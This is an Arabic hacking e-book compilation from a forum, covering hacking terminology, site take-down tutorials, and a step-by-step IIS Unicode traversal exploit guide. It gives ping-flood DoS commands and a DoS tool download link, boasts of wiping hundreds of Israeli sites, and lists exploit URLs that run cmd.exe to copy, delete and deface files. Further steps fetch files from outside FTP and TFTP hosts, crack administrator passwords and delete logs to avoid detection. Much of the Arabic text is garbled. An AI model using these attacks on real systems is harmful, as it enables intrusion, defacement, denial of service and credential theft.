ر إن وجد فیها الثغرة المطلوبة لهذا الهجوم DOS Exploitsال رف حجب الخدمة للسی  و التي تقوم بعملیة 
روول  ر أي فای رف ت المكتوبة بلغة السي و  . Fire Wallو ان لم یكن على السی ض الإكسبلویتا و هناك بع

  ) .c(.یكون  امتدادها 
ر  حتاج الى كومبایل ت ت ت بالذا رنامCompilerهذه الإكسبلویتا ت  او ب حویلها الى اكسبلوی جا لترجمتها و ت

رنامجا  ت المكتوب  بلغة السي هذه الى ب ل الإكسبلوی حوی خلال المتصفح ، و لت تنفیذي عادي یستخدم من 
حتاج إما الى    تنفیذیا ، ن

ل ویندوز  ضمن نظام التشغی ل  ر یعم س ، او الى اي كومبایل س او یونك ل لینوك ر هذه . نظام التشغی أشه
رس  ت ( الكومبایل حولا ت أو الم ج اسمه ) المترجما رنام ت Borland C++ Compilerب ح ل ت  و هي تعم

رنا سابقا ل ویندوز كما ذك   .نظام التشغی
----------------------------------------------------------------------  
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ر-:FireWallالجدار الناري  حمایتها من الولوج الغی ت ل رفرا ج تستعملها السی رام  شرعي لنظام  هي ب
ت المستخدمة . ملفاتها من قبل المتطفلین  روولا طبعا ،  و لكني أنوه بأن الفای ر  رف حمایة للسی هي تمثل ال

ت  را رف حمایة السی حمایة الأجهزة ) المواقع ( ل ف عن تلك التي تستخدم ل   .    تختل
----------------------------------------------------------------------  

Token:- ل ف الباسورد المظل   و الذي یكون فیه الباسورد ) Shadowed Passwd( هو مل
حث عن  . Shadowed أي xأو * على شكل  حینها الب ف الباسورد مظللا ، فیجب علیك  ت مل إن وجد

ل و الذي یسمى  ر المظل ف الباسورد الغی    .etc/shadow/تجده في   . Shadow fileمل
----------------------------------------------------------------------  

Anonymouse:-ختراقه راد  ا ل فیها الى الموقع الم خ ضعیة الخفیة و المجهولة التي تد هناك .  هي الو
ر و  رف خول المجهول الى السی س الإسم ، تستطیع ان تستعملها في الد ف تي بي بنف ج الا رام خاصیة في ب

ت نا ح ت منه وهذه أصب حب الملفا   .درة نوعا ما الآن س
----------------------------------------------------------------------  

Valnerableties:- حصنة أو القابلة للعطب  و التي یعاني منها ر م ضع الضعف الغی ت أو موا را  أي الثغ
خطرا أمنیا علیه مما یؤدي الى استغلالها من قبل الهاكر ر و التي قد تشكل  رف ر و السی رف ز في مهاجمة السی

ره  ختراقه أو تدمی   .ا
ردها ؟  م Valnerable، :) ما هي مف ر مؤمن بشكل سلی ضع الضعف و المكان الغی  أي ثغرة أو بالأصح مو

رها كالقائمة .  ت و غی ریدیة للمواقع المهتمة بالسیكیوریتي و أمن الشبكا ر هذه الكلمة في القوائم الب و تكث
ریدیة الموجودة في موق رها Security Focusع الب ق تراك او غی   . أو با

----------------------------------------------------------------------  
passwd file  : ح لهم ص المصر ت الأشخا ت و باسوردا رو حتوي على باسورد ال ف الذي ی هو المل

ر  رف خول الى السی طبعا وغال. بالد ف  س المل ر وبمقیاس باسورد الموقع موجود في نف DESبا ما یكون مشف
.  

----------------------------------------------------------------------  
ت  : rootالجذر أو الـ  ل مع ملفا ت في التعام حیا رئیسي للنظام ، له كل الصلا و هو المستخدم الجذري و ال

ت ل للملفا ضافة أو تعدی ر من إزالة أو ا رف   .الموقع و السی
س غالبا م ل لینوك ضمن نظام التشغی ل  ت هو باسورد الموقع نفسه في المواقع التي تعم رو ا یكون باسورد ال

س أو سولاري أو   رها Free BSDاو یونك   .  و غی
----------------------------------------------------------------------    

ر  رف ف للموقع ، اذ أن كل  : Serverالسی ر هو الجهاز المستضی ضع فیه فهو جهاز كمبیوت ت الموقع تو ملفا
ش میموري  و  رام والكا ص الصلب وال ر حجم الق ر  ت عالیة ككب ره من الأجهزة لكنه ذو امكانیا عادي كغی

ت  رعته الهائلة ، و هو متصل بالإنترن  ساعة على ٢٤ ساعة ، و هذا هو سبب كون المواقع شغالة ٢٤س
ت  ر م:) . الإنترن ر أكث رف ف السی ىقد یستضی ر خ ر و من شركة لأ خ ر لآ رف حد، و هذا یعتمد من سی . ن موقع وا

ق جمیع  خترا حینها ا ر من المواقع ، فیسهل  ر الذي یملك الكثی رف ق السی خترا طبعا هي ا ربة الهاكرز  ض
رها أو العبث في ملفاتها أو تشویه واجهتها أو سرقة  حته مما یؤدي إما الى تدمی المواقع التي تندرج ت

ر حمد بیاناتها و تدمی الله ال رائیلیة و بكثرة و  ث للمواقع الإس حد ت تماما ، و هذا ما ی حها من الن  -. ها أو مس
حتوي قرابة  ر ی رف ت سی خترق رة ا ر م خ ر اني في أ را أیها المجاهدون وأذك خی ت ٣٦٧جزاكم االله  حصل  موقع و
ت بدون  تشفی طبعا الباسوردا ر وفیها  رف ل السی خ ج الموجودة دا ت الكونفی م وهي على جمیع ملفا ر كمانعل

ت  ر الباسوردا خلال فتح تشفی ت والبقیة من  ج  المنتدیا رام ت النیوك وكذلك الخاصة بالادمن لب الخاصة بمجلا
ف كل مافیه   حذ ء و ف تي بي بلا عنا ق الموقع من الا خترا ج جون تستطیع مباشرة من ا رنام    .-بب

-----------------------------------------------------------------------  
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ر فلو  ر أوف ل لشن هجوم  ) : Buffer over Flow( بوف ت التي تستعم و هي نوع من أنواع الاكسبلویتا
ل  ف اتصا ضعا ره لأجل ا ف تي بي أو غی ت الإ ر مثل الهجوم على بور رف الطفح على نقطة معینة من السی

ء الرقعة الموجودة به ت و لالغا ر و فصل اتصاله بهذا بهذا البور رف ل -ا كي یتم استغلالها مجددا السی  بعد عم
طبعا  ش لها  حواجز و -الكرا ل لها و بسهولة و دون وجود أي رقع او   یتم استغلالها في معاودة الإتصا

ت منها  حب البیانا   .س
حجب الخدمة  ركز من - DOS -و هي شبیهة نوعا ما بعملیة  ء م ر لود على  جز  اذ أنها تقوم بعملیة اوف

ر  رف   ...السی
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 "داینامیكیة تدمير المواقع " 
  

$$$$$$$$$$$$$$$$  
  MaXhAk2000:الكاتب

$$$$$$$$$$$$$$$$  
  

ف  حة للموقع المستهد ر فاد خسااائ حبها  ء السهلة والنافعة والتي یص رالمواقع من الأشیا   یعد تدمی
ر المو حدوده فسیخس حتى لو لمدة م ل  ر الموقع وایقافه عن العم ف او حیث اذا تم تدمی ر بالأ خسائ قع 

حسب شهرة الموقع    .بالملایین وعلى 
   

حیان عن  ره لا تقل في أغلب الأ ر المواقع لا یتم الا بأشتراك مجموعة كبی ر ٢٠٠   وتدمی ص أو أكث  شخ
ر  ره تقوم بمثل هذا الأم ت أقصر وهناك مواقع كثی ر وفي وق رعة أكب ر الموقع بس ر العدد كلما تم تدمی وكلما كث

ت مدته وعاد بعد ذلك منها الموقع  طال ض لوقف  ر للأسلام موقع الجاد الألكتروني الذي تعر المكافح الناص
ق  ری ط ره عن  ر مواااقع كثی ت والجهاد وقد تم تدمی ر في هذه الهجما ر ولا یزال الموقع  مستم بقوه اكب

  ....التعاون مع هذا الموقع 
  

ء عدة منها  ر المواقع تكمن في اشا   :وألیة تدمی
ء اهللاستخدام -١ حقا ان شا ح لا ر ق الدوس كما سیتم الش ری ط ق التقلیدیة التي تتم عن  ر   .الط
ج الدرة -٢ رنام ت جدارتها امام المواقع المعادیة مثل ب ج القویه والفاعلة التي اثبت رام ض الب   استخدام بع

ر ء االله.    الشهی حقا ان شا حه لا   ...والذي سیتم شر
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 "الدرة لتدمير المواقع شرح برنامج " 
  

$$$$$$$$$  
ل وـ نـــقــــــ   مـــ

$$$$$$$$$  
  

حث  ج من عملیة ب رنام ل الب حث جوجلحم  .بواسطة ملك الب

ج  رنام ل الب می ح ء من ت ف ، عند الإنتها ضغط المل ر لك الشكل التالي ، فك   :و عند تشغیله سیظه

  

ضغط على  ء الهجوم فقط إ   لبد

ضغط على  ف الهجوم إ   ولإیقا

   

ضعه لك في مكانهع ص بك و سی روكسي الخا حث الب ج الدرة على ب رنام ل ب ء الهجوم سیعم   .ند بد

  

   

ل    :و لتخفي هویتك عند الهجوم قم بتشغی
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روكسي التالي ضع رقم الب   و 

  

راد الهجوم علیه هنا   وسیكون عنوان الموقع الم

  

ر جهة الهجوم و ل حد تغیی ج انه لا یستطیع ا رنام ص هذا الب خوا راد الهجوم و من  تجدید عنوان الموقع الم
ر  علیه فقط قم بضغط  حث و التغیی   .و هو سیقوم تلقائیا بالب

ح بقصفها فقط قم بضغط  ج و المواقع التي تم النجا رنام خبار الب ر ا خ   :و لمعرفة آ

  

ر لك الشكل التالي    :و سیظه

  

خبار  قم بضغط   ر لك الأ   .و ستظه

  

ریقة ذكیة  ج بط رنام ل الب ت و لعم ء الإنترن حیث لا یبطي ل ، ب  :قم بتشغی
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ل  ل الوندوز قم بتشغی ج عند عم رنام ل الب   :لتشغی

   

حة  ت الناج را  : الشكل التالي یمثل عدد الم

ت الفاشلة  را    : و هذا یمثل عدد الم

ج رنام ل الب می ح ..وصلة ت  

http://www.geocities.com/boom_q8y4/dorrah.zip 

…  

 

 

 

 

 

 

 

 

 

 

  
  
  
  
  



 

  ٨٩  

Sites UnDeR UtTaCk  hi_HaCkEr & MaXhAk2000  www.3asfh.com/vb  

 "تدمير المواقع بدون برامج " 
  

$$$$$$$$$$$$$$$$  
  MaXhAk2000:الكاتب

$$$$$$$$$$$$$$$$  
  

رها أن یجتمع  ج ولكن هناك شرط لتدمی رام ر المواقع بدون ب ق لتدمی ر ط ح عدة  ر في هذا الدرس سأقوم بش
ر ض الأعدد كبی ص٢٠٠حیان الى اعلى من  قد یصل في بع ریقة  شخ ق الط  على الموقع نفسه ویقوموا بتطی

ت س الوق ض في نف   ...معا بع
  

  ::الطریقة الأولى
  

ر التالي == >" ===الدوس"قم بالتوجه إلى    :ـاكتب الأم
Ping www.xx.com 

 Xxxیعني اسم الموقع    
  .ي الموقعبعد ذلك سیخرج لك رقم أي ب

ر   :قم بكتابة الأم
ربه) (اسم الموقع( ت)  I- (قوة الض ربا   ping -n ) عددالض

ل ذلك   :مثا
ping -n 1000 -l 400 www.xxx.com 

  ::الطریقة الثانیة
  

ریقة الي في الأعلى راد بالط راج الأي بي تبع الموقع الم   ...بعد استخ
ر   :قم بكتابة الأم
ping -t ip 

  .... الموراد یعني أي بي الموقعipحیث 
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  "Routing in the Internetمعلومات عن " 
  

$$$$$$$$$$$$$$$$$$  
  ACID BURN_EG:الكاتب

$$$$$$$$$$$$$$$$$$  
  

ل  ر هو جهاز للتوصی روتی ضافة بسیطة وهي ان ال ف ا ضی ت واود ان ا ضوع هام لنقطة هامة في الشبكا مو
ت متباعدة  ف فكرة ال(( بین عدة شبكا ل  HUBخب ولمن یعر س المهمة وهو جهاز  Router فا  یقوم بنق

ت مزودي الخدمة  ض شركا ت بزیارة لبع ل في نطاقها وقد قم ت الي یعم حا ف المسا ختلا حجمه با ف في  یختل
ریبا  حجمه تق حجام واستطیع ان اقول بان متوسط  ت وبعدة ا ت عدة راوترا ء ورای ض الاصدقا ق بع ری ط عن 

 ..... سم على شكل مكعب ٥٠*  سم ٤٠
 

Routing in the Internet:  
===================  

what is routing?!  
ج هو عباره عن روتن ت  ال ر او من هوس خ ر الى ا ت من كمبیوت ریقها تنتقل المعلوما ط ریقة معینة والتي عن  ط

ر الى خ   .ا
ج وهم روتن ر من ال ث مظاه ت یوجد ثلا ق الانترن   :و فى سیا

١-Physical Address Determination  
٢-Selection of inter-network gateways  
٣-Symbolic and Numeric Addresses  
 

ر الاول هو ت ال و یعتب ر ipالمهم فعندما تنتقل بیانا ت . من الكمبیوت ف هذه البیانا رورى ان نغل فمن الض
حلیه للجهاز او بالشبكة ip بالـ الخاصه صیغه تكون متصله بالشبكة الم ل بها المتص بأى أطار من اى 

ت ل هذه البیانا حالته الموجود علیها عند انتقا ف التضمین من  عنوان الشبكة  و یتطلب هذا. الجهاز فى  الغلا
حلیه او العنوان الفیزیائى لهذا الشبكه مع ت اى الم حیط بالبیانا  inclusion of a local) الاطار الذى ی

network address or physical address within the frame).  
 

ضا و حلیة  و الشئ الثانى من المذكور اعلاه مهم ای ت الم ت تتكون من عدد من الشبكا رورى لان الانترن ض
رتبطة local networks اى ل اى ال  م خ ر من المدا حد او أكث ل عموما .gateways بوا خ و هذه المدا

روترس اى ل تسمى بال ت فیزیائیه او بور, routers        ا حیانا یكون لها اتصالا ر من ا ت مع الكثی تا
ت   ت ال و.الشبكا ل بیانا ت لتفصی ل الملائم و البور خ حدید المد ج اىipت  و routing  هذا ما نسمیه روتن

ق معینه ر ت بط ل تبادل المعلوما خ ضا دا   .تتضمن ای
 

ل العنوان اى ال و الثالث من المذكور هو الذى  من الشكل الكتابى  address translationیتضمن انتقا
ف علیه بسهوله و المقصود مثلا عنوان المتصفح اى فه والذى نعر  نستطیع التعر

/com.asfh3.www://http الى ip ق  اى الى ری ط صعبه و تؤدى هذه المهمه عن  ء رقمیه معقده  اشیا
 DNS ال
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حدید ح عملیه ت ل فى شر خ   :  اى  Physical Addressاـل و الان ند
 

Physical Address Determination:  
===============================  

رید جهاز كمبیوتر ان ینقل ص و تابع للشبكة  ip data اذا كان ی ف بأطار مخص حتاج الى ان یغل اذن فأنه ی
حدد و. المتصل الجهاز بها رورى ان ن ف بهذا الاطار من الض ل فى ظل التغلی ح هذا الانتقا ل  ما یسمىلنجا  با

physical address ر ق استخدام. لأتجاه الكمبیوت ری ط طه عن  ح و ببسا ف  و هذا یتم بنجا جدول سو
ل ال حوی ضح كیفیه ت حتوى , physical addresses الى ip یو  ipعلى عناوین ال  فمثلا هذا الجدول ی

ف لها    . للشبكة  او العنوان المعرو
حصول على هذا حصول الجدول و قرائته من و لل روتوكول معین لل ر یستخدم ب  الطبیعى ان یكون الكمبیوت

ل ال على هذا حوی ف بأسم physical addresses الى ipالجدول و ت روتوكول یعر  اى ARP و هذا الب
Address Resolution Protocol ل العنوان  و اعتقد اننا الان ادركنا و حلی روتوكول ت فهمنا  اى ب

ل ال حوی ف هذا الجدول , physical addresses الى ipمعنى كلمه ت  ARP بأسم و یمكن ان نعر
cache .  

ر حصول على الجدول نستخدم ام ضا arp -a و لل س ای ر و فى الیونك س الام   .نستخدم نف
ر بعد تنفیذ حى على الجدول الذى یظه ل  ر  و هذا مثا   :الام

C:\WINDOWS>arp -a  
Interface: 62.135.9.102 on Interface 0x2  

Internet Address Physical Address Type  
207.46.226.17 20-53-52-43-00-00 dynamic  
213.131.64.2 20-53-52-43-00-00 dynamic  

213.131.65.238 20-53-52-43-00-00 dynamic  
ت ادرس الموجود ت الانترن خولى الى الانترن ت المتصله بجهازى بعد د   امامكم هذا هى عناوین كل الشبكا

ل و ر و بهذا یمكننا ان نقول و Physical Addressا ت لا یتغی حظون انه ثاب ضح لكم  اعتقد انكم تلا نو
تتصل به  اى رقم الجهاز نفسه الذى Mac Address هذا هو ال Physical Addressان ال

حدید ال ت فى كلامى ان ت ل و لذلك فقد قل ء العم س اثنا مهم جدااا فى  Physical Address النتورك
ت العملیه  ت او بیانا س  Physical Address  لانه بدون ipنقل معلوما ف الباكیدج ف ستتعر اذن فكی

ریقها routerالموجوده فى ال ط   .على 
ره فى  dynamic مكتوب هذا type و ال ت لكل م ل ریستار ر عند عم ت بمعنى انه یتغیی ر ثاب اى انه غی

ت  الجهاز ل على الانترن ء العم ت اثنا   .و لكنه یثب
ر و هو الو هناك خ ر  اى static النوع الا ت الذى لا یتغی ضیح"الثاب   "هذا فقط للتو

 
ج و ما هى ال اعتقد الان اننا فهمنا بمعنى بسیط روتن  routersما هو ال

... 
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ل الثالث ص     الف
  
  

ت   ((  عن مقتطفا
لأنظمة ت وا )) السیرفرا

 
 
 
 

  

  

  

  

  

  

  

  

<><><><><><><><><><><><><><><><><><><><><><><><><><><><>  

  

  

  

  

  

  

  

  

  

  

  
  



 

  ٩٣  

Sites UnDeR UtTaCk  hi_HaCkEr & MaXhAk2000  www.3asfh.com/vb  

 ) "الجزء الأول(ود الإختراق عن طریق الیونیك" 
  

$$$$$$$$$$$$$$$  
  sNiper_hEx :الكاتب

$$$$$$$$$$$$$$$  
  

حتوى الدرس الاول على    -:وهي كما یلي )  نقطة ١٣( ی
ف بالیونیكود  -  .تعری
خ ظهور هذه الثغرة  -  .تاری
ت  - را  .كیفیة ایجاد هذه الثغ
ت الیونكود  - را ف یتم استغلال ثغ  .كی
ف  - ر المستخدمة بواسطة مل   . CMDالاوام
ت  - را ق هذه الثغ ریقة تطبی  .ط
ر الـ  - ل ام حتى تتمكن من تفعی ختصار ثغرة الیونیكود    .ECHOكیفیة ا
ف الـ - خ مل ریقة نس ت CMD ط حة امكانیة الكتابة على الملفا  . لاتا
حلول المتبعة لها Access Deniedكیفیة معرفة مشكلة الـ    -  . وال
خول بواسطة الـ - ت للد ل اكاون   . FTPكیفیة عم
ریق - ف باسورد الادمینستریتور ط  .ة كش
ج  - رنام رئیسیة للموقع وعملیة الاب لوود بواسطة ب حة ال ر الصف   . TFTPتغیی
ف علیك   - حتى لا یتم التعر ق  ت اللو   .مسح ملفا
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ف بالیونیكود  -  .تعری

ت مع  ت التي ركب خدمة المعلوما ت في مجموعة  را  / IIS4.0الیونیكود عبارة عن مجموعة من الثغ
IIS5.0ي یاتي عادة مع   والذNT4 / Win2k.   

  
  
خ ظهور هذه الثغرة  -  .تاری

ص مجهول  ر ظهورها بواسطة شخ حدد لظهور اول ثغرة للیونیكود لذا یعتب خ م لایوجد تاری
anonymous person ت بواسطة الصینین ولكن لایوجد ت الیونیكود كان را ل ان اول ظهور لثغ  ، وقی

ت ، را حة هذا الكلام   لهذه الثغ ص ت  ج مایثب رام ر الب ت من قبل المخترقین وتطوی را  فتم استغلال هذه الثغ
  .اللازمة لها 

  
ت  - را  .كیفیة ایجاد هذه الثغ

ریقتین  ت بط را   -:یتم ایجاد هذه الثغ
ل على   -١ ج التي تعم رام ء بالب ت سوا را ف هذه الثغ ج اللازمة والمخصصة لكش رام بواسطة الب

ل على نظام  ریقة الشل والتي تعم س نظام ویندوز او بط   .لینك
ق الثغرة على الموقع مباشرة  -٢  .بواسطة تطبی

  
ت الیونكود  - را ف یتم استغلال ثغ  .كی

ق الثغرة على نظام الـ  ف IIS4 / IIS5عند تطبی ء        CMD  یبدا مل ل الخطا بفك شفرة الیونكود في المثا
  .ومن هنا یتم استغلالها 

  
ف - ر المستخدمة بواسطة مل   .CMD  الاوام

ر المستخدم ف الـالاوام خ  CMDه بواسطة مل ر النس ل وام ء دلی ر لالغا ل جدید وام ء دلی ر لانشا  وهي ام
ل أي  خ ر الكتابة دا ف وام ت المل حتویا رؤیة م ر ل ت وام ء الملفا ر اسما ر تغیی ف وام حذ ر ال ر النقل وام وام

حسب الامثلة التالیة  ف ، وهي  حب أي مل ر لس ف وام   -:مل
ر  ءام ل جدیدانشا  : دلی

http://www.xxxx.com/msadc/..%c0%af../..%c0%af../winnt/system32/cmd.
exe?/c+md+c:\hEx  

 
ر  ءام لالغا  : دلی

http://www.xxxx.com/msadc/..%c0%af../..%c0%af../winnt/system32/cmd.
exe?/c+rd+c:\hEx  

ت:للمعلومیة ت والمجلدا ل الا اذا كان فارغاً تمام من الملفا ء أي دلی لایمكن الغا  
 

ر المس للنسختخدم الام : 
http://www.xxxx.com/msadc/..%c0%af../..%c0%af../winnt/system32/cmd.

exe?/c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\hEx.exe 
 

ر المستخدم  للنقلالام : 
http://www.xxxx.com/msadc/..%c0%af../winnt/system32/cmd.exe?/c+m

ove+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\hEx.exe+c:\ 
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ر المستخدم  فالام حذ لل : 

http://www.xxxx.com/msadc/..%c0%af../..%c0%af../winnt/system32/cmd.
exe?/c+del+c:\hEx.mdb  

 
ر المستخدم  ر مسمىالام تلتغیی  : الملفا

http://www.xxxx.com/msadc/..%c0%af../winnt/system32/cmd.exe?/c+re
n+c:\index.htm+hEx.htm 

 
ر المستخدم  تالام حتویا رؤیة م فل  : المل

http://www.xxxx.com/msadc/..%c0%af../..%c0%af../winnt/system32/cmd.
exe?/c+type+c:\hEx.txt 

 
ر المستخدم  فللكتابةالام ل أي مل خ  : دا

http://www.xxxx.com/msadc/..%c0%af../winnt/system32/cmd.exe?/c+ec
ho+sNiper_hEx+>c:\hEx.txt 

 
ر المستخدم  حبالام فلعملیة س  : أي مل

ر العنوان كالتالي خ ف في ا ل وبعدها یتم كتابة اسم المل حبه الى أي دلی راد س ف الم خ المل علیك القیام اولاً بنس
: 

http://www.xxxx.com/msadc/hEx.mdb 
  
  
ت  - را ق هذه الثغ ریقة تطبی  .ط

خلال المتصف ق الثغرة على الموقع من  حسب الامثلة التالیة تطبی   -:ح تتم 
http://www.xxxx.com/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+di

r+c:\  
http://www.xxxx.com/scripts/..%c0%9v../winnt/system32/cmd.exe?/c+di

r+c:\  
http://www.xxxx.com/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir

+c:\  
http://www.xxxx.com/scripts/..%c0%qf../winnt/system32/cmd.exe?/c+dir

+c:\  
http://www.xxxx.com/scripts/..%c1%8s../winnt/system32/cmd.exe?/c+di

r+c:\  
http://www.xxxx.com/scripts/..%c1%9c../winnt/system32/cmd.exe?/c+di

r+c:\  
http://www.xxxx.com/scripts/..%c1%pc../winnt/system32/cmd.exe?/c+di

r +c:\  
حیث یكون  ل ب ر مسمى الدلی حتاج الى تغیی   -:وقد ن

Msadc , _vti_bin , iisadmpwd ,  _vit_admin , scripts , samples , cgi-bin    
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ر الـ - ل ام حتى تتمكن من تفعی ختصار ثغرة الیونیكود   . ECHO كیفیة ا

ض انه كان على هذه الث ف موقع یعاني من مشكلة الیونیكود ولنفتر حالة اكتشا   -:غرة في 
http://www.xxxx.com/msadc/..%c0%af../..%c0%af../winnt/system32/c

md.exe?/c+dir+c:\  
  

ف  خ مل حتاج الى نس ریقة inetpub\scripts الى مجلد w3svc.exeفن ر یكون بهذه الط   -: والام
http://www.xxxx.com/msadc/..%c0%af../..%c0%af../winnt/system32/c
md.exe?c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\w3sv

c.exe  
  

ف  خ مل خلال inetpub\scripts الى مجلد w3svc.exeبعد نس  ، الان نقوم بتصفح الموقع من 
ریقة    -:الثغرة بهذه الط

http://www.xxxx.com/scripts/w3svc.exe?/c+dir+c:\  
رئیس ف ال حدید المل ف وبالت ل أي مل خ ل الان نستطیع الكتابة دا   ي للموقع الذي غالبا مایكون في هذا الدلی

inetpub\wwwroot\index.htm  ر بالشكل التالي حیث یكون الام   -:ب
http://www.xxxx.com/scripts/w3svc.exe?/c+echo+Hacked+By+sNipe

r_hEx+hExRay@Hotmail.com+>+c:\inetpub\wwwroot\index.htm  
  
 
ف ا - خ مل ریقة نس حة امكانیة  CMD  ط ت لاتا  .الكتابة على الملفا

ف الـ خ مل ض من نس ر ت ویتم CMDالغ حالا ض ال ر في بع رف ل السی خ ء امكانیة للكتابة دا  وهو لاعطا
ریقة  ت بهذه الط   -:نسخه الى مجلد السیكرب

http://www.xxxx.com/msadc/..%c0%af../..%c0%af../winnt/system32/c
md.exe?c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\cmd

1.exe  
ف الـ   -: الجدید في الثغرة بدلا من الاول بهذا الشكل CMDالان بامكاننا استخدام مل

http://www.xxxx.com/msadc/..%c0%af../..%c0%af../winnt/system32/c
md1.exe?c+dir+c:\  

  
  
حلول المتبعة لها  Access Denied الـ كیفیة معرفة مشكلة -  .وال

ف من أي امتداد ، فعند  Access Deniedلة الـتتم معرفة مشك ف أي مل حذ حاولة في  خلال الم  من 
حكم Access Deniedظهور رسالة الـ  ت والت حتى تتمكن من الكتابة على الملفا ق  ر  فالیك هذه الط

ر  رف ر على السی   -:اكث
ف الـ  -١ خ مل ت بمسمى CMDالطریقة الاولى نس ل السیكرب ح لك امكانCMD1 الى دلی ف یتا یة  فسو

ر  ر  Copyالكتابة باستخدام الام  -: باستخدام هذا الام
http://www.xxxx.com/msadc/..%c0%af../..%c0%af../winnt/system32/c
md.exe?c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\cmd

1.exe  
ف  -٢ ل مع المل  -: والطریقة كما یلي ssinc.dllالطریقة الثانیة بالتعام

o حة باسم اولا ا صف ء   test.shtmlنشا
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o   ل مجلد خ حة دا   wwwroot/hEx/test.shtmlتكون هذه الصف
o  حة ل الصف خ حیث ان > --"include file="AAAA[...]AA#--!<كتابة هذا الكود دا ب

ف  ر حتى یتعدى Aح ف ٢٠٤٩ یتم كتابتة  ر ح  . 
o  خلال المتصفح حة من  طلب الصف  http://www.xxxx.com/test.shtmlالان یتم 
o  حة الان ر لك الصف ف تظه  .سو
o الان تستطیع الكتابه وتم تخطي مشكلة الـAccess Denied.  
o  ء رقم حة الخطا صف ت لك  ر حیح ٥٠٠اذا ظه ریقة بالشكل الص ق الط  فمعناها انك لم تقم بتطبی

حاولة   .وعلیك اعادة الم
ج  -٣ رنام ریقة الثالثة باستخدام ب ل مجNC.exeالط خ ف دا ل اب لوود لهذا المل حیث یتم عم لد الـ ب

Tempخلال موجة الدوز وللمعلومیة مجلد الـ ر من  ل الویندوز ومنه یتم تنفیذ الاوام  في دلی
Temp ت الاب لوود ح لعملیا  . مفتو

ض وهذه  -٤ ر ج اللازمة لهذا الغ رام ر باستخدام الب رف ش للسی ل كرا خلال عم رابعة وهي من  الطریقة ال
حیان  ر من الا ر مجدیه في كثی  .الطریقة غی

حث عن مل -٥ ت الب  root.exe ، sensepost.exe ، shell.exe ، w3svc.exe: فا
خلالها c:\inetpub\scriptsونسخها الى مجلد  ق الثغرة من   . وتطبی

  
 
خول بواسطة  - ت للد ل اكاون   . FTP الكیفیة عم
ف  -١ خ مل حتى یتم الاستفادة من ثغرة قدیمة Shell.exe باسم Scripts الى مجلد CMDنس   

/c+copy+c:\winnt\system32\cmd.exe+c:\inetpub\scripts\shell.exe  
ف  -٢ ء مل ر   mspft.pllانشا  open ftp.host.com وكتابة فیه التالي Echoبواسطة الام

  .FTPحیث ان هذا هو الخادم للـ
/c+echo+open+ftp.host.com+>+c:\winnt\mspft.ppl 

ضافة مجهول  -٣ ف الذي قمنا بانشAnonymousالان مطلوب ا س المل ءه  الى نف    mspft.pllا
/shell.exe?/c+echo+anonymous+>>+c:\winnt\mspft.ppl 

رید  -٤ ءه Com.hExRay@Hotmailالان مطلوب ادراج الب ف الذي قمنا بانشا س المل  الى نف
mspft.pll   

/shell.exe?/c+echo+hEx@Hotmail.Com+>>+c:\winnt\mspft.ppl 
ض -٥ ءه Anonymous قبل Userافة إ ف الذي قمنا بانشا    mspft.pll لزوم المل

/shell.exe?/c+echo+user+anonymous+>>+c:\winnt\mspft.ppl 
حاجة الاعداد الان  -٦  تكرار  ل

/shell.exe?/c+echo+hEx@Hotmail.Com+>>+c:\winnt\mspft.ppl 
ت  -٧ حالي للملفا  یتم هنا ادراج الموقع ال

/shell.exe?/c+echo+lcd+c:\inetpub\wwwroot+>>+c:\winnt\mspft.ppl 
ر الـ -٨ خادم الـFTPالان یكتب اوام ف من  حب المل  ثم Get index.htm وهي FTP اللازمة لس

ق  ج الساب  یدرج هنا بدون المس
/shell.exe?/c+echo+get+index.html+>>+c:\winnt\mspft.ppl 

ضافة  -٩ ق ولكن با س الساب  Quitهنا نف
/shell.exe?/c+echo+quit+>>+c:\winnt\mspft.ppl  

ر  -١٠ ت قمنا ”FTP.exe?+"-s:c:winnt\mspft.pplالان یتم تنفیذ ام خطوا   وهو عبارة عن 
ف  ءها وموجودة في مل حتوائها على مایلي mspft.pplبانشا  -: با
- Open FTP.host.com 
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- Anonymous 
- hEx@Hotmail.Com 

- User Anonymous 
- hEx@Hotmail.Com 

- Get index.html 
- Quit 

 
 /msadc/..%c0%af../..%c0%af../winnt/system32/ftp.exe?+"-

s:c:\winnt\mspft.ppl"  
 
ف باسورد الادمینستریتور  - ریقة كش  .ط

رنامجین  حتاج الى وجود ب – Microsoft Access( ن  L0phtCrack (  ض وهي لزوم تنفیذ بع
ت لتالیة وهي    -:الخطوا

ف الـ باسورد الادمینستیتور للس  - ر یكون موجود في مل رف ل  _.SAMی  \winnt\repair\ في دلی
ج  لفك رنام ج وافضل ب رنام ضح بالشكل التالي L0phtCrack شفرة الباسورد هو ب   -:كما هو مو

  

  
  
ف   - ف تكون في مل حساب فان معلوماتهم سو ر ویوجد لدیهم  رف اذا كان هناك مستخدمین في السی

PASSFILT.DLL حدید مسار هذ ح ونستطیع ت ریجستري بواسطة هذا المفتا خلال ال ف من  ا المل
:-  

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\S
YSTEM32\PASSFILT.DLL 

 
ت الـ  - حا صف ءة باستخدام  ر یعتمد في القرا رف خلال ASPاذا كان السی ت من   للوصول الى البیانا

قMySQLقاعدة          الـ  حتاج الى تطبی ف ن للوصول الى باسورد  )  htr.+(  ثغرة  فسو
 -:المسئول عن هذة القاعده وهي كالتالي 

http://www.xxxx.com/default.asp+.htr  
  

ریقة  ت التنفیذ فالط حدید في سیكرب حة المطلوبة وبالت حة الخطا في الوصول الى الصف صف عند ظهور 
ف  حب مل حة وماعلینا فقط سوى س حی حتویاتdatabase.incص ءة م ه للعثور على اسم  وقرا

ت   .المستخدم والباسورد للمسئول عن قاعدة البیانا
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ج - رنام رئیسیة للموقع وعملیة الاب لوود بواسطة ب حة ال ر الصف   .TFTP  تغیی
حفظها باسم   -١ ضع شعارك علیها وا حة و صف ء     \:c على الـ index.htmقم بانشا
ج  -٢ رنام ل ب ر في الفقرة التالیة TFTPقم بتشغی  . ونفذ الام

  
/c+tftp.exe+"-

i"+1.1.1.1+GET+index.htm+C:\inetpub\wwwroot\i ndex.htm  

  
  
 
ف علیك   - حتى لا یتم التعر ق  ت اللو   .مسح ملفا

